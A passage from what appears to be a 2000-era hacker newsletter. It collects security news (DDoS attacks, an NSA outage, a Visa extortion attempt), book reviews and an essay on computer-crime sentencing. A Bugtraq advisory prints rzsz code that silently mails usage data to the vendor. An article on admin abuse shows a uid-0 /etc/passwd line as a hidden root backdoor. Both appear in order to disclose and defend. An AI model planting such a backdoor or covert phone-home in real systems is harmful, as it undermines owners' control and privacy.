We wonder what "widespread" means here. If one malicious hacker can exploit
hundreds of clients worldwide and retain them for repeated abuse, what
might a hundred accomplish?
And what effect might that have? Could enough bandwidth be gobbled up to
crash large portions of the Net? Could ISPs be overwhelmed for hours,
even days? Could infrastructure be at risk? The NIPC refuses to say, but
our imaginations are very much stimulated by the possibilities. And we
reckon yours ought to be as well. ®
@HWA
142.0 NSA gets bitten in the ass too
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Dragos Ruiu
( I would be interested to find out if this was a DDoS.... since that is the
topic du jour. I would imagine NSW Dragon got a workout chasing these
guys down, successfully it seems - but we'll never hear about it
officially I think. If that is the case, congrats Ron. --dr :-)
(Comments where Dragos' - Ed)
http://abcnews.go.com/sections/us/DailyNews/nsa000129.html
NSA Confirms `Serious Computer Problem'
W A S H I N G T O N, Jan. 29 - The super-secret National Security Agency
confirmed tonight that it had a "serious computer problem" last week that
affected its ability to process intelligence information. The agency
issued a brief statement a few hours after the outage was reported by
ABCNEWS. Sources characterized the problem as the biggest computer failure
in the history of the NSA. From Monday night until late Thursday,
computers at Fort Meade, just outside Washington, were unable to process
the millions of communications intercepts flowing in from around the world
via a series of U.S. satellites. The statement said the agency "is
currently operating within the window of normal operations." NSA Director
Air Force Lt. Gen. Michael Hayden told ABCNEWS that the system has been
almost totally rebuilt in the past five days, although it is not quite
fully up yet. Officials said it did not appear to be sabotage, just a
computer system overwhelmed trying to digest data.
$1.5 Million Problem The NSA said it took thousands of man-hours
and some $1.5 million to get the computers up and running again at the
agency's headquarters at Fort Meade, Maryland. As a result of the
unprecedented blackout of information, analytical reports from Fort Meade
that turn intercepted foreign telephone, cable and radio messages into
meaningful data for the rest of government, were halted. "This problem ...
did not affect intelligence collection, but did affect the processing of
intelligence information," the statement said. "The backlog of
intelligence processing is almost complete, and NSA is confident that no
significant intelligence information has been lost." The Washington Post
quoted one official describing the outage as a "software anomaly." "As of
now, there is no evidence other than this was a system stressed to meet
day-to-day operational pressures," the paper quoted the official as
saying.
Dangerous Times This was an especially dangerous time for something
like this to happen. The system uses the data to track terrorists, among
other things, including suspected ringleader Osama bin Laden - monitoring
them, issuing warnings and keeping the United States one step ahead. "This
problem, which was contained to the NSA headquarters complex at Fort
Meade, Md., did not affect intelligence collection, but did affect the
processing of intelligence information," the agency statement said. "NSA
systems were impacted for 72 hours." "Contingency plans were immediately
put into effect that called on other aspects of the NSA system to assume
some of the load," the agency statement said. "While intelligence
collection continued, NSA technicians worked to recover the IT
(information technology) infrastructure. That backlog of intelligence
processing is almost complete and NSA is confident that no significant
intelligence information has been lost." The latest incident follows the
failure of a critical U.S. spy satellite system on New Year's Eve, the
most significant known casualty of the Year 2000 computer glitch (see
related story).
`No Such Agency' Until a few years ago, the National Security
Agency - known around Washington as "No Such Agency" - was so secret there
was no public acknowledgment by the government of its existence and
employees could be disciplined for merely saying they worked there. It
specializes in electronic intelligence gathering through satellites,
telephone intercepts and other methods. The Defense Department
acknowledged earlier this month that it made mistakes in its pre-New
Year's Eve testing of a Y2K correction for a computer system that
processes imagery from intelligence satellites. The computer system broke
down that night, interrupting the flow of by satellite information for
several hours. However, the Pentagon insisted the trouble did not
jeopardize U.S. national security.
ABCNEWS' John McWethy and The Associated Press and Reuters contributed to
this report.
@HWA
143.0 rzsz package calls home if you don't register the software.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From BUGTRAQ
From: Kris Kennaway <kris@HUB.FREEBSD.ORG>
To: <BUGTRAQ@SECURITYFOCUS.COM>
Sent: Saturday, January 29, 2000 7:14 PM
Subject: rzsz emails usage stats without user consent
Recent versions of the (shareware) UNIX rzsz package from Omen Software,
available from ftp://ftp.cs.pdx.edu/pub/zmodem/, contain the "feature"
that if your version is unregistered, it will send mail to rzsz@omen.com
each time you upload and download using the software - rz.c and sz.c
contain the following code:
#ifndef REGISTERED
/* Removing or disabling this code without registering is theft */
if ((Totfiles > 0) && (!Usevhdrs)) {
sprintf(endmsg, "echo Unreg %s %s %ld %ld | mail rzsz@omen.com",
Progname, VERSION, Totfiles, Totbytes );
system(endmsg);
canit();
sleep(4);
fprintf(stderr, "\n\n\n**** UNREGISTERED COPY *****\r\n");
fprintf(stderr, "Please read the License Agreement in rz.doc\r\n");
fflush(stderr);
}
#endif
This change was detected because the FreeBSD ports system uses an MD5
checksum to verify the integrity of downloaded software - the rzsz.zip
file has a habit of changing regularly, and after one such change this
addition was discovered.
Thanks for Marcin Cieslak <saper@system.pl> for identifying this problem.
The rzsz port has since been removed from the FreeBSD ports collection :-)
Kris Kennaway
----
"How many roads must a man walk down, before you call him a man?"
"Eight!"
"That was a rhetorical question!"
"Oh..then, seven!" -- Homer Simpson
@HWA
144.0 Clinton calls Internet Summit on the DDoS threat
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://webcrawler-news.excite.com/news/r/000211/22/news-tech-hackers
Web Probe Widens, Clinton Calls Internet Summit
Updated 10:23 PM ET February 11, 2000
By Dick Satran
SAN FRANCISCO (Reuters) - U.S. investigators tracking hackers who shut down
top Web sites turned their focus to the sites used to launch the attacks on
Friday as President Clinton called a summit on Internet security for
next week.
The Federal Bureau of Investigation was backtracking through sites that
were penetrated and used as "zombies" to hit others.
The agency, at a briefing this week, underscored the importance of
"unwitting third parties" used to conceal themselves by launching massive
coordinated attacks on the top e-commerce sites.
The University of California-Santa Barbara said that its computer system
was used to aim an attack at the CNN Web site brought down in the week's
wave of Internet sabotage, a spokesman said Friday.
The university said it was providing details to the FBI for the
investigation.
"ZOMBIE" ATTACKER FOUND
In Palo Alto, meanwhile, computer security company Network Associates Inc
(NETA.O) said it had located another one of the "zombies" used to launch
the attacks -- a computer in Germany which has since been disconnected
from the Internet.
But while the university and the security firm stepped forward, computer
experts said scores more remained silent, fearing legal action or
involvement in costly criminal probes.
"People want to stay out of the way," said Stuart McClure, president of the
Irvine, California-based Ramparts Security Group. "People are real
sensitive about these issues -- they think the perception would be
negative."
Perceptions of Internet security took another hit on Friday when a small
California Internet company said an unrelated hacker attack on its system
this week had apparently gained access to consumer credit card
numbers.
RealNames, a San Carlos, California, business, said the extent of the
damage was hard to assess because the attack had come through mainland
China, and the connection appeared to have shut down while the hackers
were downloading data.
"Our best guess is that this was done by a traditional hacker, whose goal
is not to steal but to prove that he has the ability to steal," said
RealNames chief executive Keith Teare, whose company sells a
simplified Internet address system to about 50,000 customers.
In Washington, Clinton's summit is expected to boost broader cooperation in
a young industry that's growing fast and hasn't made security a high
priority. The industry, in turn, wants to give advice to federal
regulators seen as too unsophisticated in Web ways to have much impact.
Clinton warned not to expect Tuesday's meeting to come up with an
"instantaneous solution" to a wave of hacking attacks which this week took
down popular sites Yahoo!, the largest independent Web site, leading
retailers Buy.com, eBay, Amazon.com and the news site CNN.com.
While computer security has often vexed individual computer users linked to
the Internet, major Web sites have been hit only by sporadic outages, and
nothing like the chaos of the past week.
BROADER COOPERATION
The U.C.-Santa Barbara report was one of the first to indicate that the
hackers' tracks were slowly being uncovered.
FBI spokeswoman Debbie Weierman refused to comment on the UC-Santa Barbara
report. She said no search or arrest warrants had yet been issued in
connection with the investigation.
At the university, spokesman Bill Schlotter said a climate of academic
freedom left facilities vulnerable.
"We're a university, and you want the keep your system open for students
and faculty, but you want it to be secure. How do you do both?" he asked.
The wave of hacker attacks prompted little surprise in either the computer
security industry or the hacker community. The attacks have relied on
easy-to-find tools available over the Internet, and sites with poor
security to use as their staging areas.
Those "third party" sites are the ones -- not the large ones suffering the
attacks -- that the FBI cited as the biggest security risks.
"All these littler sites are worried about is getting their site up and
then the Webmaster is in charge, and there is no attention paid at all to
security," said one hacker, known as YTCracker, interviewed by
Reuters. "Usually, it doesn't take anything to get in."
@HWA
145.0 ISN: Who gets your trust?
~~~~~~~~~~~~~~~~~~~~~~~~~
Source: ISN list
Who gets your trust?
Security breaches can come from those you least suspect
Summary Systems administrators have extraordinary access to all the
data on corporate systems. What can be done to ensure that your
administrators will not betray that trust? (3,000words)
In the business world you will often hear the statement "We don't hire
hackers." When pressed for a reason, the speaker usually reveals a fear
that a "hacker" will install a back door in the system. Time and time
again, however, I have seen back doors installed by employees or
security professionals whose integrity is never questioned. When
confronted, they usually say it's no big deal. After all, they have the
root password. They just wanted to set up a root account with a
different environment. That's not hacking, right? Wrong. Their intention
did not matter -- the security of the system has been bypassed.
This article discusses how administrative privileges can be abused and
suggests some methods for countering that abuse. It is not meant to imply
that every administrator abuses privileges or has malicious intent -- just
that you shouldn't assume anything.
What is a back door? Quite simply, a back door is a method for gaining
access to a system that bypasses the usual security mechanisms. (Has
everyone seen WarGames?) Programmers and administrators love to stick back
doors in so they can access the system quickly to fix problems. Usually,
they rely on obscurity to provide security. Think of approaching a
building with an elaborate security system that does bio scans, background
checks, the works. Someone who doesn't have time to go through all that
might just rig up a back exit so they can step out for a smoke -- and then
hope no one finds out about it.
In computer systems, a back door can be installed on a terminal server to
provide direct access to the console remotely, saving the administrator a
trip to the office. It can also be a program set up to invoke system
privileges from a nonprivileged account.
A simple back door is an account set up in the /etc/passwd file that looks
like any other userid. The difference is that this userid doesn't have to
su to root (and it won't show up in /var/adm/sulog) -- it already is root:
auser:x:0:101:Average User :/home/auser:/bin/ksh
If you don't see it, look again at the third field (userid) and compare it
to the root account. They are the same (0). If you are restricting direct
root logins to the console only (via /etc/default/login), then this
account will have the same limitation. The difference is that if someone
does su to this account, it will not be apparent in /var/adm/sulog that it
is root. Also, a change to the root password will not affect the account.
Even if the person who installed the account intends no harm, he or she
has left a security hole.
It is also pretty common for an administrator to abuse the /.rhosts file
by putting in desktop systems "temporarily." These have a way of becoming
permanent.
Back doors can also be set up in subtler ways though SUID 0 programs
(which set the userid to root). Usually, the motivation for setting up
back doors is one of expediency. The administrator is just trying to get a
job done as quickly as possible. Problems arise later when either (1) he
leaves under normal circumstances and the hole remains or (2) he leaves
under bad circumstances and wants revenge.
Proprietary data A manager may also be reluctant to hire "hackers" for
fear that they may divulge proprietary information or take copies of
proprietary data. Several years ago, I was consulting at a company when a
new administrator joined the group. In an effort to ingratiate himself
with the team, he confided that he had kept the backup tapes from his old
job (a competitor) and that they had some "really cool tools." It so
happened that a consultant with my own business worked at the competitor's
site. A scan of the tape revealed the proprietary software that the
administrator had been working on, which eventually sold for a significant
amount of money. While the admin probably did not intend to steal the
software, his actions could have left his new employer facing a large
lawsuit -- all for the sake of a few shell scripts. In this particular
case, no one believed that the administrator had any ulterior motives. I
wonder if people would have felt that way if he had been a "known hacker"?
System monitoring Administrators are supposed to monitor system logs. How
else can problems be investigated? But there is a difference between
monitoring logs for a legitimate reason and monitoring them to satisfy
prurient curiosity. Using the system log files to monitor a particular
user's behavior for no good reason is an abuse of privileges.
What is a good reason? Your manager asks you to monitor specific logs. Or
maybe you notice suspicious activities, in which case you should inform
the management. Or, more commonly, a user complains about a problem and
you are trying to solve it. What is a bad reason? A user ticks you off and
you want to see how he is spending company time. Or a user has a prominent
position in the company and you want to know what kinds of Websites she
goes to.
Countermeasures You can take some actions to ensure the integrity of
privileged users, but none of them carries any guarantee.
Background checks You can have an investigative agency run a background
check on an individual and you can require drug tests. These tell you only
about past behavior (if the individual has been caught).
The state of New Jersey (where I live) has adopted a law commonly referred
to as Megan's Law (see Resources). The law mandates that a community be
notified of any convicted sex offender living in the community. On the
surface, it sounds like a great idea and a way to protect children from
predators.
As a parent, I am particularly sensitive to crimes against children. I
received a Megan's Law notification this past year about a convicted sex
offender who moved into town. It did not change a thing for me. My feeling
is that every child molester has to have had a first time and that in any
case not all molesters have been identified. Therefore, I take appropriate
precautions with my children, regardless of who has moved to the area.
In the technical field, hackers are considered the molesters. (Yes, I know
all about the politically correct terms cracker, defacer, etc., but the
common term these days is hacker.) How do you know if someone is a
"hacker"? Some people try to refine the term to mean "someone who has been
convicted of a computer crime." But let's say, for example, that you
attend Defcon, the hackers' conference, and encounter an intelligent job
seeker with bright blue hair and funky clothes. Would you hire him?
Chances are that you would at least scrutinize his credentials and make
sure your contract spelled out all details of the work to be performed and
the legal repercussions for any violations. What if the same person showed
up for an interview with the blue dye rinsed out and in a nice pressed
suit? Be honest: would you perform the same background checks regardless
of a person's appearance?
Technical measures Some technical software packages can limit or control
superuser privileges. I recommend using them to prevent the inadvertent
abuse of superuser privilege. Unfortunately, knowledgeable administrators
and programmers with privileged access will be able to circumvent these
measures if they really want to.
sudo The freely available sudo package provides more granular control
over the system by restricting which privileged commands can be run
on a user basis. See Resources for the Sudo main page, which has a
more complete description.
Tripwire Tripwire is a file integrity package that, following the
policy determined by the administrator, reports any changes made to
critical files. Tripwire was originally developed at Purdue
University by Gene Kim under the direction of Eugene Spafford. I plan
to evaluate the merits of the commercial version of Tripwire in a
future column. Tripwire is a good way for an administrator to tell
whether the system files or permissions have been modified.
What can be done, however, if the senior administrator who monitors
the system has malicious intent?
Professionalism The best defense against the abuse of administrator
privileges is to rely on a certain level of professionalism. The medical
Hippocratic oath includes the mandate Do No Harm. While there is no such
professional oath for systems administrators, you can establish guidelines
for acceptable behavior. During the mid-1980s, I worked as an
administrator in a computer center at a large telecommunications research
facility. We had a code of ethics that a user had to sign before an
account could be installed. We also had a code of ethics for privileged
users that included additional restrictions, such as:
No SUID 0 (set userid to root) programs will be installed without the
consent, in writing, of the senior administrator.
All users' email is to be considered private and confidential and may
not be read by anyone other than the intended recipient.
Users' files may not be modified or read except in the case of a
predetermined problem or security investigation. Be prepared to
justify.
Privileged users are often entrusted with sensitive information, such
as an employee termination, before other employees. This information
is to be kept confidential.
The root passwords are changed monthly and are to be distributed by
the senior administrator only. The passwords must be kept in a safe
location, such as your wallet. If the password is lost, notify the
senior administrator or your manager immediately.
Keystroke monitoring of user activities is strictly prohibited
without senior management approval, in writing.
All administrative procedures and tools are to be considered
proprietary information and are the property of the computer center.
Tape archives may not be removed from the facility without written
approval.
Discretion A code of ethics for privileged users should not be considered
a punitive device, but rather a statement about the integrity of the
person who signs it. At one point during my years in the computer center,
the secretary to the president of the company came to me with a printer
problem. As I was assisting her, she became upset when she realized that
the test job she had sent to the printer was highly confidential. I was
able to reassure her that all administrators were bound by a code of
ethics and would be terminated for violations. (Besides, I wasn't really
reading it, I was just looking for garbage characters!) Professionals must
establish a certain level of trust. This is especially important for those
privy to sensitive information regarding terminations or investigations.
Final thoughts Would I hire someone who showed up for an interview with
blue hair, body piercings, and a name like 3v1l HaK0rZ? No. Not because he
might install a back door, but because he was ignorant about what was
acceptable on Wall Street. As for the back doors? More are installed by
well-groomed "professionals" in suits than by "hackers." Anyone with the
required skills can be either a "security consultant" or a "hacker." The
only difference is the label.
@HWA
146.0 ISN: Hackers demand 10 Million pounds from Visa
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
UK Telegraph:
http://www.telegraph.co.uk/et?ac=000114832908976&rtmo=quuqKJR9&atmo=99999999&pg=/et/00/1/18/nhack18.html
Hackers demand £10m
By Mark Ward
COMPUTER hackers have demanded a £10 million ransom from Visa, the
credit card giant, after claiming to have stolen critical data.
Visa's British head office was contacted just before Christmas by a group
which said it obtained the information during a hacking raid last summer. Visa
refused to pay the ransom and contacted police.
A Visa spokesman admitted the British-based hackers managed to penetrate its
computer network last July but were detected almost immediately and only stole
useless information. He said: "As fast as they were in they were found out. To
our knowledge they've not been back in."
Police are investigating and Scotland Yard is understood to have already talked
to one suspect.
@HWA
147.0 ISN: Cybercrime growing harder to prosecute
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: darek.milewski@us.pwcglobal.com
http://www.ecommercetimes.com/news/articles2000/000121-nb1.shtml
By Martin Stone, Newsbytes
Special to the E-Commerce Times
January 21, 2000
U.S. Justice Department officials reportedly called computer crime a
growing menace to corporations worldwide, and admitted that law
enforcement agents face major hurdles in combating it.
A report by Reuters today said Justice and FBI officials concede there is
no such thing as a completely secure computer system. The warning was
voiced Thursday at a conference on cybercrime sponsored by the Deloitte &
Touche accounting firm, the report said.
Who Is Vulnerable?
"The issue isn't who is vulnerable because everyone is vulnerable. he
issue is how are companies going to deal with those vulnerabilities,"
Reuters quoted Assistant U.S. Attorney Allison Burroughs as saying.
The report noted that a recent survey found that 62 percent of U.S.
companies reported security breaches in the last 12 months and that
resulting financial damages totaled almost $124 million (US$).
Computer criminals are harder to identify and have a greater reach than
conventional criminals, Burroughs reportedly said, adding that prosecution
of felons outside U.S. borders is complicated.
Formidable Weapon
Burroughs and FBI Agent Nenette Day warned that encryption, meant to
protect company data, can become a formidable weapon for criminals wary of
leaving electronic footprints, Reuters said.
That statement comes after Attorney General Janet Reno in September said
that the administration would work on making strong encryption exports
easier for US high-tech companies, who traditionally have been hampered in
their efforts to ship the products because of law enforcement concerns.
The relaxed encryption regulations were announced on January 12th.
Day reportedly told the conference there are large numbers of computer
criminals working every day from home trying to defraud or otherwise
damage corporations. She added that corporations are often reluctant to
report computer intrusions, making investigations more difficult, the
report stated.
ISN is sponsored by Security-Focus.COM
@HWA
148.0 ISN: Hacking Exposed (Review)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
amazon reviews: http://www.amazon.com/exec/obidos/ISBN=0072121270/insekurityorgA/
Hacking Exposed: Network Security Secrets & Solutions
Stuart McClure, [4]Joel Scambray, [5]George Kurtz
http://www.hackingexposed.com
Paperback - 484 pages (September 1, 1999)
McGraw-Hill ISBN: 0072121270
Since 1991, I have been involved in the security field in one way or
another. Starting as a casual hobby and evolving into a career, it has
been a predominat part of my life. In my spare time I have run a number of
FTP archives, Web sites and participated in many mail lists. Because of
this, many people seek me out for advice and answers. In all these years,
the most frequently asked question of me has no simple answer. "How do I
hack?" To date I have answered this with a wide variety of responses
depending on how the question was asked, who asked it, and my general
mood.
Lucky for me, I now have a quick and dirty way out of what sometimes
proved to be a three page response to the question. While I have always
maintained (and still do) that hacking can not truly be taught, some
aspects certainly can be. The technical steps behind computer intrusion
can be shared by knowledgeable people, giving a solid foundation for the
steps and procedures required in compromising the security of a system.
That is the goal of this book, and it does it quite well. To those with a
basic understanding of how computers and networks operate, this book will
teach them the basiscs of remote system auditing (also known as controlled
penetration).
The book is divided into four main sections: Casing the Establishment,
System Hacking, Network Hacking, and Software Hacking. Each section is
further divided into seperate chapters which cover various methods of
system intrusion on different platforms. By breaking it down and
seperating information related to Unix and Windows NT, it adds clarity and
avoids confusion between tools and techniques specific to a particular
platform.
In Casing the Establishment, you learn the fine art of remote
reconnaissance of machines on a remote network. To a dedicated security
auditer, remote machines can give away a world of information that aids
them in subsequent attacks. Often times administrators are not aware of
just how much information is shared out. The ability to pick this
information out and use it to your advantage can often make the difference
between gaining access and complete failure.
System Hacking goes into the specific details of breaking into remote
hosts. Covering Windows, Novell and Unix, the authors cover a wide variety
of methods, many of which are lost to newcomers to security auditing.
Readers learn the nuances of brute force attacks, buffer overflows,
symlink attacks and a lot more.
Network Hacking looks at the bigger picture and considers multiple
machines as the intended target. Covering dial-ups, Virtual Private
Networks (VPNs), routers and more, these chapters aim to hit the critical
infrastructure of many networks. Another critical appliance in any
sensitive network is the Firewall. The final chapter in this section gives
several ways to poke holes in the firewall so that it no longer acts as a
complete dead end for you.
Software Hacking delves into details of Denial of Service (DoS) attacks,
remote access software, and advanced techniques. With more and more
corporations using remote access software, they are finding it is leaving
them wide open to attacks. These software packages are often a security
auditers dream.
To everyone who has ever asked me 'how to hack', or anything to do with
system penetration, start with this book. Read it cover to cover and you
will save yourself a lot of time and effot otherwise wasted with search
engines and outdated text files.
review by: Brian Martin
ISN is sponsored by Security-Focus.COM
@HWA
149.0 ISN: The crime of punishment by Brian Martin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Synthesis
http://www.thesynthesis.com/tech/crimepunishment/index.html
As you read this, an unusual legal case history is being established
around the prosecution of computer crime. Because computer crime is still
a relatively new aspect in the arena of law and prosecution, each and
every case sets important precedent that will be called on in
upcoming cases. The growing concern by many people seems to be the drastic
nature of punishments being levied against computer intrusions. Not only
are the punishments not seeming to fit the crime, there is little
consistency in the legal system's application of punishment to these
people.
Previous articles have pointed out the disturbing trends in damage figures
which directly affect sentencing in these cases. Unfortunately, the
emerging problem seems to go well beyond suspicious damage figures. It is
difficult to say exactly why the punishment for computer crime is so
severe. Some people speculate it is the public perception of hacking and
the FUD (Fear, Uncertainty and Doubt) surrounding it while some think it
is nothing more than sacrificial lambs taking the brunt of public outcry.
Others feel it can't be logically explained. I think the best answer is
that computer crime is still shocking society, which overreacts in
response.
The immediate disparity can be seen when comparing the sentencing between
computer and non-computer crimes. While more traditional and material
crimes like assault, burglary and murder are receiving what seems like
light sentences, computer crime convicts are becoming the bearers of
exceptionally stiff and smothering sentences. Not only are the prison
sentences extraordinarily lengthy, the terms of probation are baffling and
rough. Instead of a probation that encourages reform and nurtures a good
life better than the previous life of crime, it thrusts the convicted into
a life of poverty and despair.
Jail Time
Shortly after the new year, I was watching the news in a New York hotel
and caught the follow-up of a story begun some two to three years prior.
The news went on to say that a 21-year-old man convicted of killing his
baby was being released after two years of prison. He and his wife
and killed their infant some three years age, and his prison term was two
years. Surely this is one case that slipped through our justice system and
let these killers off easy? A quick search yields that this is not
necessarily uncommon. Patrick Jack served a two-year sentence for
manslaughter after stabbing Francis Sunjay Weber with a pair of scissors.
Another article that discusses short sentences mentions yet another case
in which a 17-year-old Marysville girl was shot and killed. Her killer was
in turn sentenced to 27 months in prison for his crime. These cases make
me wonder about the effectiveness of our legal system.
On the flip side, two recent computer crime cases perfectly illustrate the
baffling seriousness and resulting prison time that now accompanies
computer crime. Eric Burns recently pled guilty to ONE felony count of
computer intrusion, and took the blame for the defacement of the
White House web page. For his confessed crimes, he was sentenced to a
$36,240 fine and 15 months in prison. A second longer story unfolded
recently, telling us of a small group of hackers known as the Phone
Masters who wielded amazing control of computers and phone networks. One
of the individuals, Corey Lindsley, was sentenced to 41 months in prison
for his 2 felony counts. The last comparison is the infamous Kevin Mitnick
saga in which Mitnick spent a total of 5 years in jail and prison for what
ended up being five felony counts of computer related crimes.
What should be noted is the comparison of crimes. Burns' single felony is
basically nothing more than high tech graffiti, a sort of digital spray
paint on a federal building. What would that crime fetch for a sentence if
done in the real world? Certainly not fifteen months of prison.
Manslaughter can fetch as low as two years of prison time, while Lindsley
and Mitnick sit in federal prison for four and five years respectively.
This disparity is hard to believe considering the gruesome nature of
manslaughter and killing a young baby as compared to altering the web page
of an Internet web site.
Conditions of Probation
Even if you could dismiss the harsh penalty for relatively minor crimes,
you would then face another practice that is becoming all too common with
computer crime. After subjecting computer intruders to the long trial,
large fines and lengthy jail terms, the real injustice occurs. It is
not uncommon for people to be put on probation for one to five years for
any felony conviction. I think it is fair to say that a probation term of
two to three years is a sound average. Probation terms for most crimes are
generally the same, preventing convicts from certain behavior and actions
that are not appropriate. Some of these terms are not associating with
known criminals, possessing weapons, use of drugs, and more. One thing
about these terms are they tend to be generally the same with little
variation based on crime.
For those convicted of computer crime, the probation guidelines are quite
different. A quick review of the terms and conditions of Kevin Mitnick's
probation bring on a whole new set of computer crime specific terms:
Absent prior express written approval from the Probation Officer, the
Petitioner shall not possess or use, for any purpose, the following:
1. any computer hardware equipment; 2. any computer software
programs; 3. modems; 4. any computer related peripheral or
support equipment; 5. portable laptop computer, 'personal information
assistants,' and derivatives; 6. cellular telephones; 7. televisions
or other instruments of communication equipped with online, Internet,
World-Wide Web or other computer network access; 8. any other
electronic equipment, presently available or new technology that
becomes available, that can be converted to or has as its function
the ability to act as a computer system or to access a computer
system, computer network or telecommunications network (except
defendant may possess a 'land line' telephone); B. The defendant
shall not be employed in or perform services for any entity engaged
in the computer, computer software, or telecommunications business
and shall not be employed in any capacity wherein he has access to
computers or computer related equipment or software; C. The defendant
shall not access computers, computer networks or other forms of
wireless communications himself or through third parties; D. The
defendant shall not act as a consultant or advisor to individuals or
groups engaged in any computer related activity; E. The defendant
shall not acquire or possess any computer codes (including computer
passwords), cellular phone access codes or other access devices that
enable the defendant to use, acquire, exchange or alter information
in a computer or telecommunications database system; F. The defendant
shall not use any data encryption device, program or technique for
computers; G. The defendant shall not alter or possess any altered
telephone, telephone equipment or any other communications related
equipment.
Reading these, one can begin to see how this limits a convicted
computer intruder in life after prison. Some argue that as convicted
felons, who cares? They are getting what they deserve. Perhaps that
is true, but why don't murderers and rapists receive
special terms for their probation that might be deemed appropriate?
Some of the few crimes that receive no special terms?
A.Forgery -- Convicted forgers are not banned from pens, paper and other
devices that help commit the crime. B.Vehicular Manslaughter and
other crimes involving motor vehicles -- These people do not lose their
driver's license or the ability to own and operate cars or trucks. C.Sex
Crimes – Except in extreme cases of recidivistic offenders, convicted
rapists and pedophiles are not forbidden from pornography or other
stimuli said to influence or encourage their behavior. D.Counterfeiting
-- Convicted counterfeiters are not forbidden from using currency, nor
forbidden from working jobs with cash or banned from a wide variety of
activities that may influence them.
The purpose of incarceration and the following probation is to punish and
rehabilitate the convict. Probation specifically is geared to help push
the criminal into a structured life without influences that may lead to
their return to a life of crime. However, in the case of computer
crime the probation guidelines do a lot more than discourage further
computer crime. Some of the few acts they will be banned from:
Sending a letter to a Senator via e-mail or using a word processor
Playing a video arcade game or personal entertainment system like
Sega or Nintendo Calling his family on a cellular telephone Working
in any industry (including fast food) as they all rely on computers,
even for cash transactions (cash registers) Working as a custodian in
any business that has computers on premises Working as a teacher,
instructor, consultant, or advisor to any company that owns or
operates a single computer device Writing any type of computer
software program (even using merely a pen and paper) Accessing a
public library's computerized card catalog. Using computerized
information services found at airports and shopping malls that give
directions and customer information Accessing any information via
phone and voice mail/prompt system (including bank account
information, car insurance and more)
Surprising as it seems, all of the above become illegal to most people on
probation for computer crimes. Imagine living for three years with those
restrictions hovering over you. Is this really a good guideline to get you
back on the right track and lead a good life without bad influence?
Or is this a well lit path encouraging you to break the terms of probation
and risk more prison time?
If you are thrust into society after a lengthy prison sentence, stripped
of opportunity to work in the one field you previously excelled in, what
options does that leave? Unable to work in most modern and computerized
jobs, unable to work near computers, it leaves the convict with
several years of difficult living at below poverty level. Hardly the
rehabilitation that was intended or needed.
The Tip of the Iceberg
The story of Chris Lamprecht still remains in the depths of news sites. In
1995 Lamprecht was sentenced to a 70-month prison sentence for money
laundering. He did not plead to or get convicted of any computer related
crimes. Despite this, Federal Judge Sam Sparks imposed the same "no
computer" probation on Lamprecht at the request of the District Attorney.
This seems to be an equivalent of being banned from restaurants because
you ate dinner before breaking and entering.
Recouping Your Tax Dollars
It is well established that those caught and convicted of any crime are
subjected to restitution. The amount is typically arrived at by
calculating the damage figures against the victim(s). If a bike worth one
hundred dollars was stolen, the criminal could be ordered to pay
restitution that included the cost of the bike, court fees the victim paid
for, emotional distress, etc. One thing that has not historically been
factored in is the cost of the investigation or the time and effort of the
officers involved in solving the crime. Apparently the money associated
with the law enforcement efforts was not a factor for one reason or
another.
Once again, when computer crime enters the equation, circumstances seem to
change. In May of 1997, Wendell Dingus was sentenced by a federal court to
six months of home monitoring for computer crime activity. Among the
systems he admitted to attacking were the U.S. Air Force, NASA and
Vanderbilt University. What is different about this case is the court's
order for Dingus to repay $40,000 in restitution to the Air Force
Information Warfare Center (AFIWC) for their time and effort in helping to
track him.
It is odd that the court systems are now levying punishments for computer
crimes not based on the damage that was actually done, rather it is based
on the amount of time, money and resources required to track down or fix
the system's vulnerability. Worse, they are then lumping on time and
resources required to (belatedly) create pro-active preventative measures
from future intrusions, something that should have been done in the first
place. So the system intruder is now responsible for future intrusions,
yet the administrators were not in the first place?
When the police or FBI catch up to a robber, defrauder or murderer, they
are charged and punished for their crimes. It is generally unheard of for
these criminals to receive punishments and fines based on the efforts of
the law enforcement tracking them down. Think of how much time and
resources the FBI put into tracking down a serial killer that has been
roaming our country for years. How many air plane trips, car rentals,
hotels, overtime, examination and forensic equipment, food reimbursement
and who knows what else do our tax dollars go to pay for? Why aren't these
levied against the criminal like they are now starting to do with computer
crime?
One difficult aspect that creeps back into computer crime cases is the
blanket laws covering a wide variety of people and activities. As a
computer crime investigator brought up in a conversation recently, a
homicide typically affects a family, friends and perhaps a small
community, while a concentrated computer attack could affect the lives of
thousands of people or more. There are certainly exceptions to each type
of crime but in general, that statement seems to be reasonable. The bottom
line is that more consistency needs to be developed between traditional
crimes and computer crimes.
In Texas, it is a Class B misdemeanor for graffiti if the damage is less
than $500. In reality, most Web page defacements done today can be
recovered from and dealt with for less than $500. Anyone saying otherwise
is likely to be the consultant profiting heavily at your expense. So
why is it that a young kid who spray paints a wall gets hit with a small
fine, and a young kid who spray paints a Web site gets fifteen months in
jail and tens of thousands of dollars in fines?
I think it is time for the media to quit hyping up computer crimes and
introduce a dose of sanity to the Fear, Uncertainty and Doubt they love to
bring to 'hacker' stories. The legal system needs to give a serious look
at the disparity in how they handle various crimes. I think it is
pretty obvious that something is wrong when a knife wielding murderer does
less time than a keyboard wielding fourteen-year-old.
@HWA
150.0 ISN: EDI Security, Control and, Audit (Book review) by Brian Martin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
amazon reviews: http://www.amazon.com/exec/obidos/ISBN=0890066108/insekurityorgA/
http://www.attrition.org/library/rev/0890066108.html
EDI Security, Control, and Audit
Albert J. Marcella, Jr. and Sally Chan
Artech ISBN: 0-89006-610-8
Electronic Data Interchange (EDI) is a computer-to-computer or
application-to-application exchange of business information in a standard
format. In 1992, there were over 31,000 known EDI users, with a steady
increase since 1987. EDI users can be found in such industries as
transportation, retail, grocery, automobiles, warehousing,
pharmaceuticals, healthcare and financial institutions.
"EDI will change our lives, just as computers did. It will redefine the
